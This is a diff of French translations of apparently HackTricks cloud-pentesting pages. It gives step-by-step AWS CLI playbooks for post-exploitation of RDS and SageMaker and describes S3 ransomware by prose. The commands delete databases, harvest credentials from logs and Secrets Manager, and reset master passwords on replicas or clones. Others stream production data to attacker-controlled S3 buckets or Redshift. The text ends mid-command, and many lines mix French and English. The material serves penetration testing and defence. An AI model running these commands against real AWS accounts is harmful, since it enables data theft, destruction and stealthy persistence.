Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers de logs d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par erreur, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
|
||||
Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **download portions of an RDS instance's log files**. Si des données sensibles ou des access credentials sont accidentellement logged, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Impact potentiel**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials.
|
||||
**Potential Impact**: Accès à des informations sensibles ou exécution d'actions non autorisées à l'aide de leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -66,35 +66,35 @@ Un attaquant disposant de ces autorisations peut **DoS des instances RDS existan
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données.
|
||||
**Impact potentiel** : Suppression des instances RDS existantes et risque de perte de données.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> À TESTER
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder aux données sensibles contenues dans le snapshot exporté.
|
||||
Un attaquant disposant de cette autorisation peut **exporter un snapshot d'instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impact potentiel** : Accès à des données sensibles dans le snapshot exporté.
|
||||
|
||||
### Réplication inter-régions des sauvegardes automatisées pour une restauration furtive (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Réplication inter-régions des sauvegardes automatisées pour une restauration discrète (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusez la réplication inter-régions des sauvegardes automatisées pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des canaux habituels dans une région que les défenseurs ne surveillent peut-être pas.
|
||||
Abuser de la réplication inter-régions des sauvegardes automatisées pour dupliquer silencieusement les sauvegardes automatisées d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le master password pour accéder aux données hors bande dans une Region que les défenseurs pourraient ne pas surveiller.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination
|
||||
- `rds:RestoreDBInstanceToPointInTime` dans la région de destination
|
||||
- `rds:ModifyDBInstance` dans la région de destination
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la Region de destination
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` dans la Region de destination
|
||||
- `rds:RestoreDBInstanceToPointInTime` dans la Region de destination
|
||||
- `rds:ModifyDBInstance` dans la Region de destination
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée)
|
||||
|
||||
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
Impact : Persistence and data exfiltration en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (remplacez les espaces réservés)</summary>
|
||||
<summary>CLI de bout en bout (remplacer les placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Activer la journalisation SQL complète via les groupes de paramètres DB et exfiltrer via les RDS log APIs
|
||||
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via les RDS log APIs
|
||||
|
||||
Abuser de `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
|
||||
Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB n'est requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes susceptibles de contenir des secrets/PII/JWTs.
|
||||
|
||||
Permissions requises (minimum):
|
||||
Permissions requises (minimum) :
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (uniquement pour attacher un groupe de paramètres personnalisé si l'instance utilise le groupe par défaut)
|
||||
- `rds:RebootDBInstance` (pour les paramètres nécessitant un redémarrage, par ex., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
|
||||
Étapes
|
||||
1) Recon target and current parameter group
|
||||
1) Recon de la cible et du groupe de paramètres actuel
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut)
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible de modifier le groupe par défaut)
|
||||
- Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante.
|
||||
- Sinon, créez et attachez-en un correspondant à la famille du moteur :
|
||||
- Sinon, créez-en un et attachez-le correspondant à la famille du moteur :
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -197,7 +197,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Activer la journalisation SQL détaillée
|
||||
- Moteurs MySQL (immédiat / sans redémarrage):
|
||||
- MySQL engines (immédiat / sans redémarrage):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,7 +220,7 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de log du moteur
|
||||
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les fichiers de logs du moteur
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
@@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analyser hors ligne pour détecter des données sensibles
|
||||
6) Analyser hors ligne pour des données sensibles
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Exemple de preuve (expurgée) :
|
||||
Exemple de preuve (caviardée) :
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Nettoyage
|
||||
- Rétablir les paramètres par défaut et redémarrer si nécessaire:
|
||||
- Rétablir les paramètres par défaut et redémarrer si nécessaire :
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impact : Accès post-exploitation aux données en capturant toutes les instructions SQL applicatives via les APIs AWS (no DB creds), pouvant entraîner la fuite de secrets, JWTs et PII.
|
||||
Impact : Accès aux données post-exploitation en capturant toutes les instructions SQL de l'application via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuser des répliques en lecture RDS pour obtenir un accès en lecture hors bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas celui de la primaire) et, facultativement, exposer la réplique publiquement pour exfiltrer des données.
|
||||
Abuser des réplicas en lecture RDS pour obtenir un accès en lecture hors-bande sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une réplique en lecture à partir d'une instance de production, réinitialiser le mot de passe master de la réplique (cela ne modifie pas le primaire), et éventuellement exposer la réplique publiquement pour exfiltrer des données.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si exposition publique)
|
||||
|
||||
Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car la primaire reste inchangée et la réplication continue.
|
||||
Impact : Accès en lecture seule aux données de production via une réplique avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car le primaire reste intact et la réplication continue.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Example evidence (MySQL):
|
||||
- État de la DB réplique : `available`, réplication en lecture : `replicating`
|
||||
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplica.
|
||||
Exemple de preuve (MySQL) :
|
||||
- Statut de la réplique DB : `available`, réplication en lecture : `replicating`
|
||||
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplique.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance focalisée uniquement sur la source.
|
||||
Abuser de RDS Blue/Green pour cloner une DB de production dans un environnement green répliqué en continu et en lecture seule. Puis réinitialiser les identifiants master du green pour accéder aux données sans toucher l'instance blue (prod). C'est plus discret que le snapshot sharing et permet souvent de contourner une surveillance focalisée uniquement sur la source.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,19 +357,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impact : Accès en lecture seule mais complet à un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction furtive de données et l'analyse hors ligne.
|
||||
Impact : Accès en lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
|
||||
|
||||
|
||||
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisation du mot de passe master
|
||||
### Out-of-band SQL via RDS Data API en activant l'HTTP endpoint + en réinitialisant le mot de passe maître
|
||||
|
||||
Abuse Aurora pour activer l'endpoint HTTP du RDS Data API sur un cluster cible, réinitialiser le mot de passe master avec une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui supportent le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
|
||||
Abuse Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe maître à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d'Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum) :
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB.
|
||||
Impact : Contourne la segmentation réseau et exfiltrate data via AWS APIs sans connectivité VPC directe vers la DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (exemple Aurora MySQL)</summary>
|
||||
@@ -424,22 +424,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
```
|
||||
</details>
|
||||
|
||||
Notes:
|
||||
- Si du SQL multi-instructions est rejeté par rds-data, effectuez des appels execute-statement séparés.
|
||||
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
|
||||
- Assurez-vous que le engine/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.
|
||||
Remarques :
|
||||
- Si des requêtes SQL multi-énoncés sont rejetées par rds-data, exécutez des appels execute-statement séparés.
|
||||
- Pour les moteurs pour lesquels modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
|
||||
- Assurez-vous que le moteur/la version supporte réellement la Data API ; sinon HttpEndpointEnabled restera False.
|
||||
|
||||
|
||||
### Récupération des identifiants DB via les secrets d'auth RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abuser de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lire le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal définies peuvent également permettre `kms:Decrypt`.
|
||||
Exploitez la configuration de RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez le secret pour obtenir les identifiants de la base de données. Beaucoup d'environnements accordent un large `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal cadrées peuvent aussi permettre `kms:Decrypt`.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
|
||||
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé
|
||||
|
||||
Impact : Divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou un mouvement latéral supplémentaire.
|
||||
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configurés sur le proxy ; permet un accès direct à la base ou un mouvement latéral supplémentaire.
|
||||
|
||||
Étapes
|
||||
```bash
|
||||
@@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratoire (configuration minimale pour reproduire)
|
||||
Lab (minimal pour reproduire)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -480,9 +480,9 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltration continue discrète via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration)
|
||||
### Exfiltration continue et furtive via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une Redshift resource policy permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi temps‑réel sans DB creds, snapshots ni exposition réseau.
|
||||
Exploitez l'intégration Aurora PostgreSQL zero‑ETL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une politique de ressource Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi en temps réel sans DB creds, snapshots ni exposition réseau.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -509,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora</summary>
|
||||
<summary>2) Configurer la politique de ressources Redshift pour autoriser la source Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Preuves observées lors du test:
|
||||
Preuves observées lors du test :
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et état PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, l'affichage des tables a révélé le schéma ztl et la table customers ; une requête sur ztl.customers a renvoyé 2 lignes (Alice, Bob).
|
||||
- La vue SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, l'énumération des tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob).
|
||||
|
||||
Impact : Exfiltration continue quasi‑temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de base de données, les backups, ou l'accès réseau au cluster source.
|
||||
Impact : Exfiltration continue quasi‑en temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de sauvegardes ni d'accès réseau au cluster source.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informations Sensibles
|
||||
|
||||
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, des secrets d'état terraform.
|
||||
|
||||
### Pivotement
|
||||
|
||||
Différentes plateformes pourraient utiliser S3 pour stocker des actifs sensibles.\
|
||||
Par exemple, **airflow** pourrait y stocker le **code** des **DAGs**, ou des **pages web** pourraient être directement servies depuis S3. Un attaquant avec des permissions d'écriture pourrait **modifier le code** du bucket pour **pivoter** vers d'autres plateformes, ou **prendre le contrôle des comptes** en modifiant des fichiers JS.
|
||||
|
||||
### Ransomware S3
|
||||
|
||||
Dans ce scénario, l'**attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou un autre compte compromis. Il rend ensuite cette **clé accessible à quiconque dans le monde**, permettant à tout utilisateur, rôle ou compte AWS d'encrypter des objets en utilisant cette clé. Cependant, les objets ne peuvent pas être décryptés.
|
||||
|
||||
L'attaquant identifie un **bucket S3 cible et obtient un accès en écriture** à celui-ci en utilisant diverses méthodes. Cela pourrait être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des journaux, des sauvegardes, et plus encore.
|
||||
|
||||
Pour déterminer si le bucket peut être ciblé pour un ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **la suppression par authentification multi-facteurs (MFA delete) est activée**. Si la version d'objet n'est pas activée, l'attaquant peut procéder. Si la version d'objet est activée mais que la suppression MFA est désactivée, l'attaquant peut **désactiver la version d'objet**. Si à la fois la version d'objet et la suppression MFA sont activées, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique.
|
||||
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée en utilisant sa clé KMS**. Cela chiffre effectivement les données dans le bucket, les rendant inaccessibles sans la clé.
|
||||
|
||||
Pour ajouter une pression supplémentaire, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent définitivement perdues.
|
||||
|
||||
Enfin, l'attaquant pourrait télécharger un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléchargé sans chiffrement, probablement pour attirer l'attention de la cible et lui faire prendre conscience de l'attaque par ransomware.
|
||||
|
||||
**Pour plus d'infos** [**consultez la recherche originale**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informations sensibles
|
||||
|
||||
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Différentes plateformes pourraient utiliser S3 pour stocker des assets sensibles.\
|
||||
Par exemple, **airflow** pourrait y stocker **DAGs** **code**, ou des **web pages** pourraient être servies directement depuis S3. Un attaquant disposant de permissions d'écriture pourrait **modify the code** dans le bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Dans ce scénario, l'attaquant crée une KMS (Key Management Service) key dans son propre compte AWS ou dans un autre compte compromis. Il rend ensuite cette key accessible à n'importe qui dans le monde, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets en utilisant cette key. Cependant, les objets ne peuvent pas être déchiffrés.
|
||||
|
||||
L'attaquant identifie un bucket S3 cible et obtient un accès en écriture via diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible typiquement des buckets contenant des informations sensibles comme des données personnelles identifiables (PII), des protected health information (PHI), des logs, des backups, etc.
|
||||
|
||||
Pour déterminer si le bucket peut être ciblé pour du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **multi-factor authentication delete (MFA delete)** est activé. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **disable Object Versioning**. Si Object Versioning et MFA delete sont tous deux activés, il devient plus difficile pour l'attaquant de ransomware ce bucket spécifique.
|
||||
|
||||
En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée avec leur KMS key**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la key.
|
||||
|
||||
Pour faire pression, l'attaquant planifie la suppression de la KMS key utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la key soit supprimée et que les données ne soient perdues de façon permanente.
|
||||
|
||||
Enfin, l'attaquant pourrait uploader un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer leurs fichiers. Ce fichier est uploadé sans chiffrement, probablement pour attirer l'attention de la cible et la rendre consciente de l'attaque ransomware.
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,179 @@
|
||||
# AWS - SageMaker Post-Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Abuser de la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un S3 bucket contrôlé par un attaquant sans toucher le model ou le container. Utilise une rolling update zéro/faible temps d'arrêt et ne nécessite que des permissions de gestion d'endpoint.
|
||||
|
||||
### Prérequis
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (ou utiliser un bucket existant dans le même compte)
|
||||
- Optionnel (si utilisation de SSE‑KMS): `kms:Encrypt` sur la CMK choisie
|
||||
- Cible : un endpoint real‑time InService existant dans le même compte/région
|
||||
|
||||
### Étapes
|
||||
1) Identifier un endpoint InService et rassembler les variantes de production actuelles
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
echo "Endpoint=$EP"
|
||||
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Préparer la destination S3 de l'attaquant pour les captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers le attacker bucket
|
||||
|
||||
Note : Utilisez des content types explicites qui satisfont la validation du CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
{
|
||||
"EnableCapture": true,
|
||||
"InitialSamplingPercentage": 100,
|
||||
"DestinationS3Uri": "s3://$BUCKET/capture",
|
||||
"CaptureOptions": [
|
||||
{"CaptureMode": "Input"},
|
||||
{"CaptureMode": "Output"}
|
||||
],
|
||||
"CaptureContentTypeHeader": {
|
||||
"JsonContentTypes": ["application/json"],
|
||||
"CsvContentTypes": ["text/csv"]
|
||||
}
|
||||
}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config \
|
||||
--region $REGION \
|
||||
--endpoint-config-name "$NEWCFG" \
|
||||
--production-variants file:///tmp/pv.json \
|
